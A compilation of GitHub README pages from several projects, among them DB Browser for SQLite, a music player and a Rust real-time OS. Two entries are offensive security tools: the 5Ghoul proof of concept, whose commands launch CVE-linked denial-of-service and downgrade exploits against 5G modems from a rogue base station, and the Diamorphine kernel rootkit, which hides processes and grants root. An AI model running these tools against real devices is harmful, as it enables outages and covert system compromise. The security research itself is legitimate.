Ubuntu and Derivatives

Stable release

For Ubuntu and derivatives, @deepsidhu1313 provides a PPA with the latest release here:

https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser

To add this PPA just type in this command in terminal:

sudo add-apt-repository -y ppa:linuxgndu/sqlitebrowser

Then update the cache using:

sudo apt-get update

Install the package using:

sudo apt-get install sqlitebrowser

Packages for Older Ubuntu releases are supported while launchpad keeps building those or if Older Ubuntu release has dependency packages that are required to build the latest version of Sqlitebrowser. We don't remove builds from our ppa repos, so users can still install older version of sqlitebrowser if they like. Alternatively Linux users can also switch to Snap packages if Snap packages are supported by the distro they are using.

Nightly builds

Nightly builds are available here:

https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser-testing

To add this PPA, type these commands into the terminal:

sudo add-apt-repository -y ppa:linuxgndu/sqlitebrowser-testing

Then update the cache using:

sudo apt-get update

Install the package using:

sudo apt-get install sqlitebrowser

Other Linux

On others, compile DB4S using the instructions in BUILDING.md.

FreeBSD

DB Browser for SQLite works well on FreeBSD, and there is a port for it (thanks to lbartoletti 😄).
DB4S can be installed using either this command:

make -C /usr/ports/databases/sqlitebrowser install

or this command:

pkg install sqlitebrowser

Snap packages

Snap Nightlies

 snap install sqlitebrowser --devmode

Snap Stable

 snap install sqlitebrowser

Compiling

Instructions for compiling on Windows, macOS, Linux, and FreeBSD are in BUILDING.

X (Known as Twitter)

Website

https://sqlitebrowser.org

Old project page

https://sourceforge.net/projects/sqlitebrowser

Releases

Version 3.12.2 released - 2021-05-18
Version 3.12.1 released - 2020-11-09
Version 3.12.0 released - 2020-06-16
Version 3.11.2 released - 2019-04-03
Version 3.11.1 released - 2019-02-18
Version 3.11.0 released - 2019-02-07
Version 3.10.1 released - 2017-09-20
Version 3.10.0 released - 2017-08-20
Version 3.9.1 released - 2016-10-03
Version 3.9.0 released - 2016-08-24
Version 3.8.0 released - 2015-12-25
Version 3.7.0 released - 2015-06-14
Version 3.6.0 released - 2015-04-27
Version 3.5.1 released - 2015-02-08
Version 3.5.0 released - 2015-01-31
Version 3.4.0 released - 2014-10-29
Version 3.3.1 released - 2014-08-31 - Project renamed from "SQLite Database Browser"
Version 3.3.0 released - 2014-08-24
Version 3.2.0 released - 2014-07-06
Version 3.1.0 released - 2014-05-17
Version 3.0.3 released - 2014-04-28
Version 3.0.2 released - 2014-02-12
Version 3.0.1 released - 2013-12-02
Version 3.0 released - 2013-09-15
Version 3.0rc1 released - 2013-09-09 - Project now on GitHub
Version 2.0b1 released - 2009-12-10 - Based on Qt4.6
Version 1.2 released - 2005-04-05
Version 1.1 released - 2004-07-20
Version 1.01 released - 2003-10-02
Version 1.0 released to public domain - 2003-08-19

History

This program was developed originally by Mauricio Piacentini (@piacentini) from Tabuleiro Producoes as the Arca Database Browser. The original version was used as a free companion tool to the Arca Database Xtra, a commercial product that embeds SQLite databases with some additional extensions to handle compressed and binary data.

The original code was trimmed and adjusted to be compatible with standard SQLite 2.x databases. The resulting program was renamed SQLite Database Browser, and released into the Public Domain by Mauricio. Icons were contributed by Raquel Ravanini, also from Tabuleiro. Jens Miltner (@jmiltner) contributed the code to support SQLite 3.x databases for the 1.2 release.

Pete Morgan (@daffodil) created an initial project on GitHub with the code in 2012, where several contributors fixed and improved pieces over the years. René Peinthor (@rp-) and Martin Kleusberg (@MKleusberg) then became involved, and have been the main driving force from that point. Justin Clift (@justinclift) helps out with testing on OSX, and started the new github.com/sqlitebrowser organisation on GitHub.

John T. Haller, of PortableApps.com fame, created the new logo. He based it on the Tango icon set (public domain).

In August 2014, the project was renamed to "Database Browser for SQLite" at the request of Richard Hipp (creator of SQLite), as the previous name was creating unintended support issues.

In September 2014, the project was renamed to "DB Browser for SQLite", to avoid confusion with an existing application called "Database Browser".

Contributors

View the list by going to the Contributors tab.

License

DB Browser for SQLite is bi-licensed under the Mozilla Public License Version 2, as well as the GNU General Public License Version 3 or later.

Modification or redistribution is permitted under the conditions of these licenses.

Check LICENSE-EXTENSIONS for other rights regarding included SQLite extensions in macOS builds. Check LICENSE-PLUGINS for other rights regarding included third-party resources.

Greedysky/TTKMusicPlayer

2023-12-12T01:45:32Z

TTKMusicPlayer imitates Kugou UI, the music player uses of qmmp core library based on Qt for windows and linux.(支持网易云音乐、酷我音乐、酷狗音乐)

TTKMusicPlayer

简体中文 Chinese | 繁体中文 Chinese

|About|License|Download|Features|Screenshots|Copyright|Contribute|

Usage

TTKMusicPlayer imitates Kugou music, uses of qmmp core library, based on Qt for windows and linux.

Compiler tutorial I have written in the wiki.(See here https://github.com/Greedysky/TTKMusicPlayer/wiki )

Attention: This software is only for learning and communication, the songs' and playlists' copyright belongs to each music platform.

CI Status

Qt stable version is tested on Qt4.x for windows-mingw 32bit
Qt stable version is tested on Qt4.x for ubuntu-linux-gcc 64bit
Qt stable version is tested on Qt5.x for ubuntu-linux-gcc 64bit
Qt stable version is tested on Qt5.x for windows-mingw 32bit

Platform	Qt & Compiler	Status
Linux	4.x GCC & 5.x GCC
Windows	4.x GCC & 5.x GCC
Windows	MSVC
OS X	Clang

For Developers

License

TTKMusicPlayer is free software licensed under the term of Licence GPL v3. If you use TTKMusicPlayer or its constituent libraries, you must adhere to the terms of the license in question.

API Document

You Can See Here: https://greedysky.github.io/ttkdocs

Download

Gitee URL: https://gitee.com/Greedysky/TTKMusicplayer

Github URL: https://github.com/Greedysky/TTKMusicplayer

Qmmp Source Player URL: https://qmmp.ylsoftware.com

Qmmp Source Mirror URL: https://github.com/Greedysky/qmmp

Qmmp Source Modified URL: https://github.com/Greedysky/TTKMusicPlayer/tree/plugins

Qmmp Extra Plugins URL: https://github.com/TTK-qmmp

Qmmp Core Modified Library URL: http://pan.baidu.com/s/1bv4iSY

Player Base URL: http://pan.baidu.com/s/1gdB5QLH

Skin Download URL: http://pan.baidu.com/s/1mh7AeG4

Executable Download URL: http://pan.baidu.com/s/1kVOHN0b

Features

TTKMusicPlayer can meet your most demands

Support for multiple music formats.
SID File(*.sid *.psid *.mus *.str *.p00 *.prg *.c64)
MusePack File(*.mpc)
WavPack File(*.wv)
Ogg Vorbis File(*.ogg *.ogv)
Ogg Opus File(*.opus)
ADTS AAC File(*.aac)
MIDI File(*.mid *.mus *.hmp *.hmi *.xmi)
PCM File(*.wav *.au *.snd *.aif *.aiff *.8svx *.sph *.sf *.voc *.w64)
CUE File(*.cue)
MPEG File(*.mp1 *.mp2 *.mp3)
Game Audio File(*.ay *.gbs *.gms *.gym *.hes *.kss *.nsf *.nsfe *.sap *.spc *.vgm *.vgz)
FLAC File(*.flac *.oga)
Monkey's Audio File(*.ape)
FFmpeg File(*.wma *.ape *.tta *.m4a *.m4b *.aac *.ra *.shn *.ac3 *.mka *.vqf *.tak *.spx *.adx *.aix *.wve *.sln *.paf *.pvf *.ircam *.gsm *.avr *.amr *.dsf *.dsdiff *.webm *.3g2 *.3gp *.asf *.avi *.f4v *.flv *.hevc *.m4v *.mov *.mp4 *.mpeg *.rm *.swf *.vob *.wtv)
OpenMPT File(*.669 *.ams *.amf *.c67 *.dsm *.dmf *.dbm *.digi *.dtm *.far *.fmt *.gdm *.it *.ice *.imf *.j2b *.mod *.mptm *.m15 *.mtm *.med *.mmd *.mmd0 *.mmd1 *.mmd2 *.mmd3 *.mdl *.mt2 *.mms *.mo3 *.mmcmp *.nst *.okt *.okta *.pt36 *.ptm *.psm *.plm *.ppm *.s3m *.stm *.stk *.st26 *.sfx *.sfx2 *.stp *.ult *.umx *.wow *.xm *.xpk *.mdr *.s3r *.xmr *.itr *.mdz *.s3z *.xmz *.itz *.mdgz *.s3gz *.xmgz *.itgz *.mdbz *.s3bz *.xmbz *.itbz)
Unix Amiga Delitracker Emulator File(*.aam *.amc *.aon *.aon8 *.aps *.ash *.ast *.avp *.bd *.bds *.bsi *.bss *.bye *.cm *.core *.cust *.dh *.dl *.dlm1 *.dlm2 *.dln *.dm *.dm2 *.dmu *.doda *.dsc *.dsr *.dss *.dw *.dz *.ea *.ems *.emsv6 *.ex *.fp *.fred *.fw *.glue *.gmc *.gray *.hd *.hip *.hip7 *.hipc *.hot *.ims *.is *.is20 *.jam *.jcb *.jcbo *.jd *.jmf *.jo *.jpo *.jt *.kh *.kim *.kris *.lion *.lme *.ma *.mc *.mcmd *.mco *.md *.mii *.mk2 *.mkii *.ml *.mm8 *.mmdc *.mok *.mon *.mosh *.mso *.mug *.mug2 *.mw *.ntp *.pap *.pn *.ps *.psa *.psf *.pt *.puma *.pvp *.rh *.rho *.riff *.rmc *.s7g *.sa *.sas *.sb *.sc *.scn *.scr *.sct *.scumm *.sdr *.sg *.sid1 *.sid2 *.sm *.sm3 *.smn *.smpro *.sng *.snk *.soc *.sog *.spl *.sqt *.ss *.sun *.syn *.synmod *.tcb *.tf *.tfmx *.thx *.tits *.tme *.tro *.tronic *.tw *.ufo *.vss *.wb *.smus *.snx *.tiny *.adsc *.dat *.dum *.osp *.dns *.jpn *.jpnd *.max *.mcr *.mfp *.npp *.pat *.qpa *.qts *.sjs *.thm *.tmk *.tpu *.uds)
RSN Archive File(*.rsn *.rps *.rdc *.rds *.rgs *.r64)
7z Archive File(*.7z *.xz *.bz2 *.gz *.tar *.zip *.wim *.ar *.arj *.cab *.chm *.cpio *.cramfs *.dmg *.ext *.fat *.gpt *.hfs *.ihex *.iso *.lzh *.lzma *.mbr *.msi *.nsis *.ntfs *.qcow2 *.rar *.rpm *.squashfs *.udf *.uefi *.vdi *.vhd *.vmdk *.xar *.z)
AdLib Sound File(*.a2m *.adl *.adlib *.agd *.amd *.as3m *.bam *.bmf *.cff *.cmf *.d00 *.dfm *.dmo *.dro *.dtm *.got *.ha2 *.hsc *.hsq *.hsp *.imf *.ims *.jbm *.laa *.lds *.m *.mad *.mdi *.mkj *.msc *.mtk *.mus *.rac *.rad *.raw *.rix *.s3m *.sa2 *.sat *.sdb *.sng *.sop *.sqx *.xad *.xms *.xsm *.vgm *.vgz *.wlf *.ksm *.rol *.sci)
XMP File(*.abk *.dsym *.emod *.fnk *.gtk *.ims *.liq *.mfp *.mgt *.rtm *.tcb *.xmf)
Another Slight Atari File(*.cm3 *.cmc *.cmr *.cms *.dlt *.dmc *.fc *.mpd *.mpt *.rmt *.sap *.tm2 *.tm8 *.tmc)
DTS Coherent Acoustics File(*.dts *.cpt)
Future Composer File(*.fc *.fc13 *.fc14 *.smod)
OptimFrog File(*.ofr *.ofs)
Audio Overload File(*.pcm *.msu *.spu *.psf *.ssf *.qsf *.dsf *.psf2 *.minipsf *.minissf *.miniqsf *.minidsf *.minipsf2 *.2sf *.mini2sf *.gsf *.minigsf *.usf *.miniusf *.ncsf *.minincsf *.snsf *.minisnsf)
S98 Audio File(*.s98 *.cym *.mym *.x1f)
Atari ST(E) And Amiga File(*.sc68 *.snd *.sndh)
Speex Audio File(*.spx)
V2 Player File(*.v2m)
AY/YM Audio File(*.asc *.ay *.emul *.sqt *.st13 *.stc *.stp *.stp2 *.psc *.psg *.pt1 *.pt2 *.pt3 *.vtx *.zxs)
ST-Sound File(*.ym)
SunVox Audio File(*.sunvox)
Hively Audio File(*.ahx *.hvl)
BP SoundMon Audio File(*.bp *.bp3)
Ken Silverman's Audio File(*.kdm *.ksm *.sm *.snd)
XMDX Game Audio File(*.mdx *.pdx *.m *.mub *.muc *.vgs *.bgm *.mml)
Cave Story's org Audio File(*.org *.pttune *.ptcop)
Final Music System Tracker Module File(*.tfm *.tfmx *.mdat *.tfx)
Playlist formats(tkpl, m3u, m3u8, pls, wpl, xspf, jspf, asx, fpl, dbpl, csv, txt)
Junior fans interface. Interface cool, gorgeous pop. Maintaining a perfect performance under Vista and XP, refreshing Screenshots.
Search and high-speed downloads. Song search accuracy optimization, intelligent save bandwidth, you can disable the network function.
It supports local playback, compatible with all audio files, super perfect sound, music and more appealing.
User-friendly design. Attention to detail design, personalize, simple operation, found music more convenient.
Personalized cell phone ringtones. Ringtones DIY, so you have personalized ringtones.
Personalized skin. DIY your own personalized skin, creating a only part of your skin.
Music cube model. After entering the mini mode, it will remain in your desktop a "Clover" shaped icon, you can freely drag the desktop, you want to control the player, cut songs, play, lyrics control, volume adjustment in control.
Colorful custom skin. You can select skin color, set the transparency of freedom, and support transparent frosted glass (Windows Aero effects).
Search Download Manager. Search Results tab merger - all of the search results tab concentrated under one label, make operation easier.
Local music search, and cloud music library and interactive.
Support converting different music formats, and can change the sound as like Tom Cat, also can enhance the sound.
Local music transferred to the cloud or mobile device.
Local music and the human voice humming recognition.
Music song, artist, album, playlist, toplist and movie search supported.
Music DSP effects and Visual effects supported.
Music song spectrum(projectm, goom, sonique, florid, wavebar) and test supported.
Music replay gain scan and write supported.
Music screen saver supported.
MPRIS D-Bus interface specification supported.
MMS and online fm radio supported.

Screenshots

Index

Search

Lrc

Desktop Lrc

Remote Controller

Lrc Display Expand

Movie

Video Barrage

Magic Music

Other Tools

Spectrum

Other Functions

Copyright

This file is part of the TTK Music Player project.
Copyright (C) 2015 - 2023 Greedysky Studio.
Mail: greedysky@163.com.

How To Contribute

Fork this project on github and make a branch. Commit in that branch, and push, then create a pull request to be reviewed and merged.
Create an issue if you have any problem when using project or you find a bug, etc.
What you can do: translation, write document, wiki, find or fix bugs, give your idea for this project etc.
If you want to join the project developed together, please send e-mail to me.

asset-group/5ghoul-5g-nr-attacks

2023-12-12T01:45:32Z

5Ghoul - 5G NR Attacks & 5G OTA Fuzzing

Proof of Concept (PoC) of 5G NR Attacks against commercial smartphones, CPE routers, USB Modems, etc. Fuzzer included⚡. 5Ghoul is family of implementation-level 5G DoS vulnerabilities affecting Qualcomm and MediaTek mobile platforms. For more details, see https://asset-group.github.io/disclosures/5ghoul/

Table of Contents

1. 📋 Requirements

Software: The binary release has been tested and confirmed to work on bare-metal Ubuntu 18.04. However a docker container is provided to run 5Ghoul PoC & Fuzzer in any Linux based OS capable of running Docker. We have validated the container in Docker version 24.0.2. Note that we do not recommend using any virtual machine since the latency of USB3 needs to be kept as low as possible.
Hardware:
- USRP B210: Use of a software-defined-radio (SDR) is required. We recommend the use of USRP B210, which can be acquired directly from ETTUS. However, 5Ghoul PoC & Fuzzer relies on OpenAirInterface 5G software stack, which can work with other other SDRs that might also work with our PoC.

ETTUS USRP B210 Software Defined Radio (SDR)

(Optional) Programmable SIM Card: Some phones do not connect to arbitrary networks without a testing SIM card (001/01 MCC and MNC respectively). To this end, we recommend using a programmable SIM card from Sysmocom so you can configure its home network to 001/01.

SysmoISIM-SJA2 programmable SIM/USIM/ISIM cards

2. ⏩ Quick Start

mkdir 5ghoul # Create 5ghoul folder
curl -LJO https://github.com/asset-group/5ghoul-5g-nr-attacks/raw/master/container.sh
chmod +x container.sh # Give exec. permission to the 5Ghoul container script
./container.sh release-5g # This will pull and start the terminal of the 5Ghoul container
sudo bin/5g_fuzzer --MCC=001 --MNC=01 # This will start the rogue base station inside the container

3. ☢️ Launching a 5Ghoul attack

To put it simply, you can just run the following command after connecting USRP B210 to your PC/Laptop:

sudo ./bin/5g_fuzzer --exploit=mac_sch_rrc_setup_crash_var --MCC=001 --MNC=01

3.1. Summary of Available Attacks

Currently, 5Ghoul PoC has 12 exploits available. The correspondence between the exploit name and 5Ghoul vulnerability is shown in the Table below.

5Ghoul Vulnerability Name	Exploit Script Name	CVE
V1 - Invalid PUSCH Resource Allocation	TBA	Pending
V2 - Empty RRC dedicatedNAS-Message	TBA	Pending
V3 - Invalid RRC Setup	mac_sch_rrc_setup_crash	N.A (Patched)*
V4 - Invalid RRC Reconﬁguration	mac_sch_rrc_reconfiguration_crash	N.A (Patched)*
V5 - Invalid MAC/RLC PDU	mac_sch_mac_rlc_crash	CVE-2023-33043
V6 - NAS Unknown PDU	mac_sch_nas_unknown_pdu_crash	CVE-2023-33044
V7 - Disabling 5G / Downgrade via RRC	mac_sch_rrc_setup_crash_var	CVE-2023-33042
V8 - Invalid RRC Setup spCellConﬁg	mac_sch_mtk_rrc_setup_crash_4	CVE-2023-32842
V9 - Invalid RRC pucch CSIReportConﬁg	mac_sch_mtk_rrc_setup_crash_2	CVE-2023-32844
V10 - Invalid RLC Data Sequence	mac_sch_mtk_rlc_crash	CVE-2023-20702
V11 - Truncated RRC physicalCellGroupConﬁg	mac_sch_mtk_rrc_setup_crash_6	CVE-2023-32846
V12 - Invalid RRC searchSpacesToAddModList	mac_sch_mtk_rrc_setup_crash_1	CVE-2023-32841
V13 - Invalid RRC Uplink Conﬁg Element	mac_sch_mtk_rrc_setup_crash_3	CVE-2023-32843
V14 - Null RRC Uplink Conﬁg Element	mac_sch_mtk_rrc_setup_crash_7	CVE-2023-32845
DA1 - NAS Flooding Downgrade	TBA	N.A

Vulnerabilities V3,V4 do not seem to affect Qualcomm modems with firmware version dated since 2021.

You can list the name of all existing 5Ghoul exploits by passing the argument --list-exploits as shown below:

sudo bin/5g_fuzzer --list-exploits
...
Available Exploits:
--> mac_sch_mtk_rrc_setup_crash_3 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_7 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_rrc_setup_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_4 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_rrc_setup_crash_var Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_2 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mac_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_nas_unknown_pdu_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_6 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_mtk_rrc_setup_crash_1 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205] 
--> mac_sch_rrc_reconfiguration_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]

3.2. Create your own 5G exploit

WIP - Documentation on 5G test-case creation to be added soon.

4. 🔀 Running the 5G NR Fuzzer

sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true # Run fuzzer in command line interface mode (CLI)

sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true --gui # Run with graphical user interface (GUI)

5. 🛠️ (Optional) Build 5Ghoul software from source

git clone https://github.com/asset-group/5ghoul-5g-nr-attacks
cd 5ghoul-5g-nr-attacks
./requirements.sh 5g # Install all system requirements to compile 5ghoul fuzzer, OpenAirInterface and Open5GS
./build.sh all # Compile all binaries + Wireshark. It may take around 20min. Go get a coffe!
./build.sh # (Optional) Compile all binaries without Wireshark.

The expected output during the build process is shown below:

6. ⚙️ Advanced Options (WIP)

You can list all options of 5Ghoul PoC by running it with --help argument as shown below:

sudo bin/5g_fuzzer --help
Fuzzer for 5G NR User Equipment (UE) - MAC-NR, PDCP-NR, RLC-NR, NAS-5GS
Usage:
  lte_fuzzer [OPTION...]

  -h, --help            Print help
      --default-config  Start with default config
  -g, --gui             Open Graphical User Interface (GUI)

 Fuzzing:
      --EnableDuplication       
      --EnableMutation           (default: true)
      --EnableOptimization       (default: true)
      --DefaultDuplicationProbability arg
                                 (default: 0.200000)
      --DefaultMutationProbability arg
                                 (default: 0.200000)
      --DefaultMutationFieldProbability arg
                                 (default: 0.100000)
      --FieldMutationBackoffMultipler arg
                                 (default: 0.500000)
      --MaxFieldsMutation arg    (default: 2)
      --NormalizeProtocolLayersMutation
                                
      --MaxDuplicationTimeMS arg
                                 (default: 6000)
      --PacketRetry             
      --PacketRetryTimeoutMS arg
                                 (default: 2500)
      --GlobalTimeout            (default: true)
      --GlobalTimeoutSeconds arg
                                 (default: 45)
      --StateLoopDetection      
      --StateLoopDetectionThreshold arg
                                 (default: 5)
      --RandomSeed arg           (default: 123456789)
      --SeedIncrementEveryIteration
                                 (default: true)
      --RestoreSessionOnStartup
                                
      --SaveSessionOnExit       
      --Selector arg             (default: 0)
      --Mutator arg              (default: 1)

 Modules:
      --exploit arg             Launch Exploit
      --list-exploits           List Available Exploits
      --list-exploits-groups    List Exploit Groups (Debug)
      --list-exploits-prefixes  List Exploit Prefixes (Debug)

 NR5G:
      --MCC arg                  (default: 001)
      --MNC arg                  (default: 01)
      --AutoStartBaseStation     (default: true)
      --AutoStartCoreNetwork     (default: true)
      --BaseStationConfigFile arg
                                 (default: n78.106.conf)
      --BaseStationArguments arg
                                 (default: --sa --continuous-tx -E)
      --CoreNetworkConfigFile arg
                                 (default: open5gs.yaml)
      --EnableSimulator         
      --SimulatorDelayUS arg     (default: 2000)
      --SimulationConnectionTimeoutMS arg
                                 (default: 1000)
      --SimulatorUEArguments arg
                                 (default: -r 106 --numerology 1 --band 78 
                                -E -C 3619200000 --rfsim --sa --ssb 516)

 Options:
      --DefaultProtocolName arg
                                 (default: proto:mac-nr-framed)
      --DefaultProtocolEncapName arg
                                 (default: encap:1)
      --SaveProtocolCapture      (default: true)
      --LiveProtocolCapture     
      --SaveLogsToFile           (default: true)
      --SaveLatencyMetrics      
      --SkipPacketProcessing    
      --Program arg              (default: 1)
      --AutoStartProgram         (default: true)
      --AutoRestartProgram      
      --LaunchProgramWithGDB    
      --MainThreadCore arg       (default: -1)
      --SaveCoreDump            

 UEModemManager:
      --APN arg                  (default: internet)
      --AllowedModes arg         (default: 4g|5g)
      --PreferredMode arg        (default: 5g)
      --Bands arg                (default: ngran-78)
      --DisableFuzzingOnFirstConnection
                                 (default: true)
      --AutoConnectModem         (default: true)
      --ConnectionTimeoutMS arg
                                 (default: 4000)
      --UseOnlyATConnections    
      --AutoConnectToAPN         (default: true)
      --ManualAPNConnection     
      --ManualAPNConnectionDelayMS arg
                                 (default: 0)
      --AutoReconnectModem       (default: true)
      --ResetModemOnGlobalTimeout
                                 (default: true)
      --GlobalTimeoutsCount arg
                                 (default: 3)
      --DefaultModemInterfacePath arg
                                 (default: /dev/cdc-wdm1)
      --AutoSearchModemInterfacePath
                                 (default: true)
      --UseInUSBIPHostSSH       
      --EnableADB                (default: true)
      --ADBDevice arg            (default: R5CT720QT7H)
      --ADBPIN arg               (default: 123123)

7. ✉️ Third-Party 5G Software Stacks

Implementation of Network Layers 1-2 5G MAC, RRC, RLC and PDCP:
- Base Station (gNB) - Open Air Interface (Open Source)
Implementation of Layer 3 and above NAS, IPV4, etc:
- 5G Core Network - Open5GS (Open Source)

gspu/Coherent

2023-12-13T01:27:27Z

Coherent OS

Coherent

Coherent is a clone of the Unix operating system for IBM PC compatibles and other microcomputers, developed and sold by the now-defunct Mark Williams Company (MWC). Historically, the operating system was a proprietary product, but it became open source in 2015, released under a 3-clause BSD License.

https://en.wikipedia.org/wiki/Coherent_(operating_system)

Manpages:

http://www.nesssoftware.com/home/mwc/manpage.php?contents

Manual:

http://www.nesssoftware.com/home/mwc/manual.php

VM:

https://www.autometer.de/unix4fun/coherent/#vbox

https://www.autometer.de/unix4fun/coherent/ftp/vms/

m0nad/Diamorphine

2023-12-13T01:27:27Z

LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64)

Diamorphine

Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64)

Features

When loaded, the module starts invisible;
Hide/unhide any process by sending a signal 31;
Sending a signal 63(to any pid) makes the module become (in)visible;
Sending a signal 64(to any pid) makes the given user become root;
Files or directories starting with the MAGIC_PREFIX become invisible;
Source: https://github.com/m0nad/Diamorphine

Install

Verify if the kernel is 2.6.x/3.x/4.x/5.x

uname -r

Clone the repository

git clone https://github.com/m0nad/Diamorphine

Enter the folder

cd Diamorphine

Compile

make

Load the module(as root)

insmod diamorphine.ko

Uninstall

The module starts invisible, to remove you need to make it visible

kill -63 0

Then remove the module(as root)

rmmod diamorphine

References

Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit

Linux Device Drivers http://lwn.net/Kernel/LDD3/

LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html

Memset's blog http://memset.wordpress.com/

Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html

WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

Linux Cross Reference http://lxr.free-electrons.com/

zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/

Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/

BUPT-OS/RROS

2023-12-13T01:27:27Z

RROS is a dual-kernel OS for satellites or other scenarios that need both real-time and general-purpose abilities. RROS = RTOS (Rust) + Linux (C).

RROS is a dual-kernel OS, consisting of a real-time kernel (in Rust) and a general-purpose kernel (Linux). RROS is compatible with almost all native Linux programs and offers real-time performance superior to RT-Linux. It is also being experimented with as the host OS for in-orbit satellites (Tiansuan Project).

Here is an architecture diagram and a demo video of RROS.

News

[2023.12.09] 🔥🔥 RROS is successfully launched into space! (photos).
[2023.11.30] RROS is presented at Xenomai Workshop 2023 (photos).
[2023.11.28] 🔥 RROS is open-sourced!

Why RROS

RROS is primarily intended for satellites (onboard computers, payloads, etc). The key incentive is the trend that nowadays satellites serve both traditional satellite-borne real-time tasks (e.g., communication and positioning) and general-purpose tasks that need mature, complicated software support (e.g., data compression and machine learning). That catalyzes the dual-kernel architecture of RROS. Taking a step further, the real-time kernel of RROS is fully implemented in Rust for better safety and robustness. However, RROS can be used in scenarios like automatic cars, IoTs, industrial control, etc.

The advantages of RROS are:

Hard real-time: RROS offers superior real-time performance compared to RT-Linux. RROS is designed with an efficient task scheduler that can quickly respond to external events, reducing task switching and processing delays.
Compatibility: RROS is compatible with almost every Linux program, allowing seamless migration of complex Linux applications such as TensorFlow and Kubernetes. You can also easily modify your general Linux programs into a more real-time counterpart.
Easy to use: RROS facilitates easy programming and debugging of real-time programs. RROS uses the libevl interface to call real-time APIs for user programs, allowing you to use tools like gdb, kgdb, and QEMU.
Robustness: The real-time kernel of RROS is carefully written in Rust, making it safer and more robust, especially for memory and concurrency issues.

Quick start

Kick off with RROS easily: boot, run, test, and develop with RROS.

Document

See the document including:

Communication & Contribution

Contributions are also very welcomed! Check it out.

Roadmap

See here for our future roadmap.

Who are we

We are a research group at BUPT.

Release

The RROS relies on both the dovetail and the Rust for Linux(RFL), neither of which currently provides patches. Integrating one into the other at a high frequency is challenging. As a result, RROS is currently tied to Linux kernel version 5.13, built on top of linux-dovetail-v5.13, and readily compatible with RFL patch v1. Fortunately, RFL is swiftly making its way into the mainline Linux kernel. We plan to release new versions once most of the RFL APIs we depend on are available in the linux-dovetail mainline. At that point, we will further consider Long-Term Support (LTS) versions.

Acknowledgements

RROS has benefitted from the following projects/resources.

Evl/xenomai (linux-evl). We learned from evl core how to implement a dual kernel and use dovetail for interrupt virtualization and libevl for user library. Thanks, @Philippe for his genius work and patient explanation in the riot!
Rust-for-Linux: We use RFL to write RROS in Linux. We ask a lot of questions on RFL Zulip and constructing safety abstractions. Kudos to @ojeda, @Wedson, @Alex, @boqun, @Gary, @Björn in the RFL community for patiently helping us. We hope to bring more safety abstraction back to the RFL in return!
Muduo: His detailed blog gives us insights for xenomai/evl project.
All prospective contributors to RROS in the future!

Citation

@misc{li2023rros,
    title = {RROS: A Dual-kernel Real-time Operating System in Rust},
    url = {https://github.com/BUPT-OS/RROS},
    author = {Hongyu Li and Jiangtao Hu and Qichen Qiu and Yuxuan Shan and Bochen Wang and Jiajun Du and Yexuan Yang and Xinge Wang and Shangguang Wang and Mengwei Xu},
    month = {December},
    year = {2023}
}

License

The source code of RROS is under the License of GPL-2.0.

Falco90/cairo-exercises

2023-12-13T01:28:04Z

raystubbs/zero

2023-12-12T01:46:16Z

Build web components in ClojureScript

skuttleman/defacto

2023-12-12T01:46:16Z

A light-weight, highly customizable state store for clojure(script)

yandex-praktikum/ono-tebe-nado

2023-12-12T01:47:01Z

React QR Code Scanner

A simple React application to scan Quick Response code (QR code).

$ npm i
$ npm start

cropsync/CropSync

2023-12-12T01:47:01Z

CropSync is a user-friendly website designed to assist farmers in selecting the right crops for their fields and providing essential information throughout the farming process.

CropSync

CropSync is a user-friendly website designed to assist farmers in selecting the right crops for their fields and providing essential information throughout the farming process. This project aims to simplify the decision-making process for farmers by offering valuable insights and data-driven recommendations.

Features

CropSync offers the following features:

Crop Selection: Farmers can input their field parameters, such as location, soil type, climate, and available resources. CropSync utilizes this information to suggest suitable crops that are likely to thrive in the given conditions.
Crop Information: Detailed information about each recommended crop is provided, including growth requirements, planting techniques, optimal seasons, pest and disease management, and estimated yield potential. This empowers farmers with the knowledge needed to make informed decisions.
Farming Calendar: CropSync generates a personalized farming calendar based on the selected crops and local weather conditions. The calendar highlights important dates for activities like planting, irrigation, fertilization, and harvest. It serves as a convenient reminder and helps farmers stay organized throughout the farming season.

Installation

To run CropSync locally, follow these steps:

Clone the repository: git clone https://github.com/your-username/CropSync.git
Install the required dependencies: npm install
Set up the database connection by configuring the database credentials in config.js.
Run the application: npm start
Access the website in your browser at http://localhost:3000

Note: Make sure you have Node.js and npm installed on your system.

Technologies Used

CropSync is built using the following technologies:

Frontend: HTML, CSS, JavaScript
External APIs: Weather data API

Contribution

We welcome contributions to improve CropSync and make it more useful for farmers. If you would like to contribute, please follow these guidelines:

Fork the repository and create a new branch for your feature or bug fix.
